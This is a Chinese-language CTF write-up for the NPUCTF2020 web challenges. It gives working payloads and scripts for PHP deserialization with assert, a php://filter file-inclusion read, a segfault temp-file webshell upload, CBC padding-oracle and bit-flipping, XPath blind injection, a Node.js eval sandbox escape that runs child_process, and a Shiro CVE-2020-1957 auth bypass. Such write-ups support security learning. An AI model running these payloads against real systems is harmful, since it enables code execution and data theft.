刷题记录-NPUCTF2020(web部分)

在buu刷了一遍,题目好顶,还剩一题EzShiro摸不出来

ReadlezPHP

禁用了右键查看源代码
刷题记录-NPUCTF2020(web部分)_第1张图片

view-source: 自行加上前缀即可
刷题记录-NPUCTF2020(web部分)_第2张图片

打开链接/time.php?source
刷题记录-NPUCTF2020(web部分)_第3张图片

很明显,php反序列化,通过echo b ( b( b(a); 写入shell,system等被禁用,用assert(断言)


class HelloPhp
{
    public $a;
    public $b;
	
}
$c = new HelloPhp;
$c->b = 'assert';
$c->a = 'phpinfo();';
echo serialize($c);
?>

刷题记录-NPUCTF2020(web部分)_第4张图片

也可以用call_user_func( ) ,array_map( )等可以调用其他函数的函数。

/time.php?data=O:8:“HelloPhp”:2:{s:1:“a”;s:10:“phpinfo();”;s:1:“b”;s:6:“assert”;}
刷题记录-NPUCTF2020(web部分)_第5张图片

这题的flag就藏在phpinfo页面
刷题记录-NPUCTF2020(web部分)_第6张图片

ezinclude

刷题记录-NPUCTF2020(web部分)_第7张图片

直接提交?pass=你cookie中的值
刷题记录-NPUCTF2020(web部分)_第8张图片

会直接给你跳转到一个404页面
刷题记录-NPUCTF2020(web部分)_第9张图片

是从flflflflag.php跳转的去访问这个页面,记得开bp
刷题记录-NPUCTF2020(web部分)_第10张图片

这里官方wp是这么写的
刷题记录-NPUCTF2020(web部分)_第11张图片

文件包含,直接用伪协议读文件/flflflflag.php?file=php://filter/convert.base64-encode/resource=index.php
刷题记录-NPUCTF2020(web部分)_第12张图片

解码一下得到源码


include 'config.php';
@$name=$_GET['name'];
@$pass=$_GET['pass'];
if(md5($secret.$name)===$pass){
	echo '
';
}else{
	setcookie("Hash",md5($secret.$name),time()+3600000);
	echo "username/password error";
}
?>
<html>
<!--md5($secret.$name)===$pass -->
</html>

再去看一下config.php
刷题记录-NPUCTF2020(web部分)_第13张图片

反正就是不知道flag在哪,还是得想办法挂马

再读一下flflflflag.php的源码

<html>
<head>
<script language="javascript" type="text/javascript">
           window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>

$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
	die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

过滤了data|input|zip/is 不能用伪协议直接写马了

这里可以用php7 segment fault特性
php://filter/string.strip_tags=/etc/passwd
php执行过程中出现 Segment Fault,这样如果在此同时上传文件,那么临时文件就会被保存在/tmp目录,不会被删除

import requests
from io import BytesIO
import re
file_data={
	'file': BytesIO(")
}
url="http://d25d00be-1f7f-4fe4-872c-c951e304b522.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
try:
	r=requests.post(url=url,files=file_data,allow_redirects=False)
except:
        print(1)

打开dir.php得到临时文件名
在这里插入图片描述

可以看到已经写入马了
刷题记录-NPUCTF2020(web部分)_第14张图片

去包含这个文件,进行getshell,用菜刀没连上。。。。直接hackbar,先看一下phpinfo
刷题记录-NPUCTF2020(web部分)_第15张图片

禁用js 或者bp抓包
刷题记录-NPUCTF2020(web部分)_第16张图片

Flag也在phpinfo里

web

考点

cbc padding oracle
cbc 字节翻转

打开送源码

 
error_reporting(0);
include('config.php');   # $key,$flag
define("METHOD", "aes-128-cbc");  //定义加密方式
define("SECRET_KEY", $key);    //定义密钥
define("IV","6666666666666666");    //定义初始向量 16个6
define("BR",'
'
); if(!isset($_GET['source']))header('location:./index.php?source=1'); #var_dump($GLOBALS); //听说你想看这个? function aes_encrypt($iv,$data) { echo "--------encrypt---------".BR; echo 'IV:'.$iv.BR; return base64_encode(openssl_encrypt($data, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)).BR; } function aes_decrypt($iv,$data) { return openssl_decrypt(base64_decode($data),METHOD,SECRET_KEY,OPENSSL_RAW_DATA,$iv) or die('False'); } if($_GET['method']=='encrypt') { $iv = IV; $data = $flag; echo aes_encrypt($iv,$data); } else if($_GET['method']=="decrypt") { $iv = @$_POST['iv']; $data = @$_POST['data']; echo aes_decrypt($iv,$data); } echo "我摊牌了,就是懒得写前端".BR; if($_GET['source']==1)highlight_file(__FILE__); ?>

试一下看看
刷题记录-NPUCTF2020(web部分)_第17张图片

128位的cbc,blocksize是16字节,加密IV已知,secret未知,我们还知道解密是否成功,密文,我们又可以控制密文和解密的IV,可以使用padding oracle爆出明文
https://www.freebuf.com/articles/web/15504.html
https://www.jianshu.com/p/ad8bdd87e131

爆破出明文为FlagIsHere.php
访问FlagIsHere.php

  
#error_reporting(0); 
include('config.php');    //$fl4g 
define("METHOD", "aes-128-cbc"); 
define("SECRET_KEY", "6666666"); 
session_start(); 

function get_iv(){    //生成随机初始向量IV 
    $random_iv=''; 
    for($i=0;$i<16;$i++){ 
        $random_iv.=chr(rand(1,255)); 
    } 
    return $random_iv; 
} 

$lalala = 'piapiapiapia'; 

if(!isset($_SESSION['Identity'])){ 
    $_SESSION['iv'] = get_iv(); 

    $_SESSION['Identity'] = base64_encode(openssl_encrypt($lalala, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $_SESSION['iv'])); 
} 
echo base64_encode($_SESSION['iv'])."
"
; if(isset($_POST['iv'])){ $tmp_id = openssl_decrypt(base64_decode($_SESSION['Identity']), METHOD, SECRET_KEY, OPENSSL_RAW_DATA, base64_decode($_POST['iv'])); echo $tmp_id."
"
; if($tmp_id ==='weber')die($fl4g); } highlight_file(__FILE__); ?>

这里为CBC字节翻转攻击
https://www.cnblogs.com/s1ye/p/9021202.html
https://www.jianshu.com/p/7f171477a603

就是要把piapiapiapia翻转成weber。
由于php的openssl raw是pk7填充也就是填充16字节,所以piapiapiapia在一开始会被填充为piapiapiapia\0x04\0x04\0x04\0x04,我们需要翻转为weber\0x0B*11。

# -*- coding: utf-8 -*-
import base64 as b64
import binascii

source = 'piapiapiapia' + 4 * '\x04'
target = 'weber' + 11 * '\x0b'
iv = '4rgItnYm61RFJt0ivp/LbQ==' #你获得的初始IV的base64encode值
iv = list(b64.b64decode(iv))

for x in xrange(0,len(target)):
    iv[x] = chr(ord(iv[x]) ^ ord(target[x]) ^ ord(source[x]))

print b64.b64encode(''.join(iv))

在这里插入图片描述
刷题记录-NPUCTF2020(web部分)_第18张图片

是个奶牛快传的链接,由于是在buu做的就在题目那直接下载附件就行

最后拿到HelloWorld.class,反编译打开
在这里插入图片描述

用python搞定
在这里插入图片描述

得到flag
在这里插入图片描述

[NPUCTF2020]ezlogin

刷题记录-NPUCTF2020(web部分)_第19张图片

一个登录框,尝试sql注入
刷题记录-NPUCTF2020(web部分)_第20张图片刷题记录-NPUCTF2020(web部分)_第21张图片

登录时,一个session只能维持15s,而且由于csrf-token的存在请求不能直接重放;一次提交后再提交就返回登录超时了。
根据抓包内容猜测此处可能存在XPath注入,用盲注需要一级一级猜解节点
XPath注入:https://www.cnblogs.com/backlion/p/8554749.html

附上大佬写的脚本:
https://github.com/sqxssss/NPUCTF_WriteUps/blob/master/npuctf_wp_by_star.md

import requests
import string
import time
import re
session = requests.session()
base_url = 'you_address'
success = '??'
payload = "' or substring({target},{index},1)='{char}' or '"

chars = string.ascii_letters+string.digits


def get_csrf():
    res = session.get(base_url, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36',
                                         'Cookie': 'PHPSESSID=8ad6c1a25ba4ac37acaf92d08f6dc993'}).text
    return re.findall('', res)[0]


target = 'string(/*[1]/*[1]/*[2]/*[3])'
# username adm1n
# password cf7414b5bdb2e65ee43083f4ddbc4d9f
data = '{username}1{token}'

result = 'cf7414b5bdb2e65ee43'
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36',
           'Content-Type': 'application/xml',
           'Cookie': 'PHPSESSID=8ad6c1a25ba4ac37acaf92d08f6dc993'}
for i in range(20, 35):
    for j in chars:
        time.sleep(0.2)
        temp_payload = payload.format(target=target, index=str(i), char=j)

        token = get_csrf()

        temp_data = data.format(username=temp_payload, token=token)
        res = session.post(url=base_url+'login.php',
                           data=temp_data, headers=headers)
        # print(temp_data)
        # print(res.text)
        # print(len(res.text))
        if len(res.text) == 5:
            result += j
            break
    print(result)

adm1n cf7414b5bdb2e65ee43083f4ddbc4d9f
md5解密得gtfly123

登录成功之后有个提示
刷题记录-NPUCTF2020(web部分)_第22张图片

且url有个文件包含 /admin.php?file=welcome
直接伪协议读flag
在这里插入图片描述

有个过滤 php和base都被过滤,可以大小写绕过phP://filter/convert.bAse64-encode/resource=/flag
刷题记录-NPUCTF2020(web部分)_第23张图片

验证

点击查看源码
刷题记录-NPUCTF2020(web部分)_第24张图片

const express = require('express');
const bodyParser = require('body-parser');
const cookieSession = require('cookie-session');

const fs = require('fs');
const crypto = require('crypto');

const keys = require('./key.js').keys;

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

function saferEval(str) {
  if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
    return null;
  }
  return eval(str);
} // 2020.4/WORKER1 淦,上次的库太垃圾,我自己写了一个

const template = fs.readFileSync('./index.html').toString();
function render(results) {
  return template.replace('{{results}}', results.join('
'
)); } const app = express(); app.use(bodyParser.urlencoded({ extended: false })); app.use(bodyParser.json()); app.use(cookieSession({ name: 'PHPSESSION', // 2020.3/WORKER2 嘿嘿,给爪⑧ keys })); Object.freeze(Object); Object.freeze(Math); app.post('/', function (req, res) { let result = ''; const results = req.session.results || []; const { e, first, second } = req.body; if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) { if (req.body.e) { try { result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!'; } catch (e) { console.log(e); result = 'Wrong Wrong Wrong!!!'; } results.unshift(`${req.body.e}=${result}`); } } else { results.unshift('Not verified!'); } if (results.length > 13) { results.pop(); } req.session.results = results; res.send(render(req.session.results)); }); // 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI app.get('/source', function (req, res) { res.set('Content-Type', 'text/javascript;charset=utf-8'); res.send(fs.readFileSync('./index.js')); }); app.get('/', function (req, res) { res.set('Content-Type', 'text/html;charset=utf-8'); req.session.admin = req.session.admin || 0; res.send(render(req.session.results = req.session.results || [])) }); app.listen(80, '0.0.0.0', () => { console.log('Start listening') });
first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])

需要.length以及 加盐md5后相等(===),且本身不相等(==),可利用强制类型转化来绕过,因为加盐md5中salt是字符串。

直接传urlencoded的表单是没法传数组的,但代码中有app.use(bodyParser.json());用了JSON的中间件,所以只需要传JSON就好了。

{“e”:“1+1”,“first”:{“length”:“1”},“second”:{“length”:“1”}} # first和second现在都是object,与盐(字符串)相加后导致强制类型转化,而且满足first.length===second.length

或者

{“e”:“1+1”,“first”:“1”,“second”:[1]} #传入字符串和数组各自与盐(字符串)相加后导致强制类型转化,且String和Array都正好有length属性,可以满足first.length === second.length

然后考虑绕过正则,进行rec
if (str.replace(/(?:Math(?:.\w+)?)|[()+-/&|^%<>=,?:]|(?:\d+.?\d(?:e\d+)?)| /g, ‘’))
利用Arrow Function(箭头函数)类似于匿名函数,并且简化了函数定义
如:

function (x) {
    return x * x;
}

该函数使用箭头函数可以使用仅仅一行代码搞定!

x => x * x

在这题上即类似

Math.__proto__.__proto__

变为

((Math)=>(Math=Math.__proto__,Math=Math.__proto__))(Math)

此处无法直接输入字符串,故使用String.fromCharCode(…)
然后使用
Math+1 // ‘[object Math]1’
从原型链上导出String和Function
即((Math)=>(Math=Math.constructor,Math.constructor(Math.fromCharCode(…))()))(Math+1)

脚本:

import re
encode = lambda code: list(map(ord,code))
decode = lambda code: "".join(map(chr,code))
a=f"""
(m0=>(
		m0=m0.constructor,
		m0.x=m0.constructor(
			m0.fromCharCode({encode("return process.mainModule.require('child_process').execSync('cat /flag')")})
		)()
	))(Math+1)
"""

a=re.sub(r"[\s\[\]]", "", a).replace("m0","Math")

print(a)

在这里插入图片描述

得到:

(Math=>(Math=Math.constructor,Math.x=Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()))(Math+1)

然后把这段丢到上面的JSON中的e里面去

{"e":"(Math=>(Math=Math.constructor,Math.x=Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()))(Math+1)","first":"1","second":[1]}

或者:

{"e":"(Math=>(Math=Math.constructor,Math.x=Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()))(Math+1)","first":{"length":"1"},"second":{"length":"1"}}

记得修改为Content-Type: application/json
刷题记录-NPUCTF2020(web部分)_第25张图片

EzShiro

直接访问/json 会跳转到 /login,访问url+/json会被拦截器匹配,拦截
刷题记录-NPUCTF2020(web部分)_第26张图片

这里利用cve-2020-1957 绕过
在web容器中,Shiro的拦截器是先与spring(Servlet)执行,两者拦截器对于URI模式匹配的差异,导致Shiro拦截器的绕过,而Shiro对其进行了两次修复,其一为删除requestURI后面的/号进行URL路径匹配,算是简单的修复了添加/号绕过的方式,而后在1.5.2版本中通过requestURI自主拼接的方式修复了/fdsf;/…/hello/1/等使用了;号方式的绕过。
https://blog.riskivy.com/shiro-%E6%9D%83%E9%99%90%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%EF%BC%88cve-2020-1957%EF%BC%89/

访问url+ /;/json
刷题记录-NPUCTF2020(web部分)_第27张图片

Post随便提交一个参数
刷题记录-NPUCTF2020(web部分)_第28张图片

根据回显,直接POST提交’true’, ‘false’ or 'null’任意一个都行
刷题记录-NPUCTF2020(web部分)_第29张图片

Jackson 框架是基于Java平台的一套数据处理工具,被称为“最好的Java Json解析器”, 能够将java对象序列化为JSON字符串,也能够将JSON字符串反序列化为java对象。
好像是Jackson反序列化漏洞,但搜了下有好多,也没找到别的提示,摸不下去了

参考:

https://github.com/sqxssss/NPUCTF_WriteUps

你可能感兴趣的:(刷题记录-NPUCTF2020(web部分))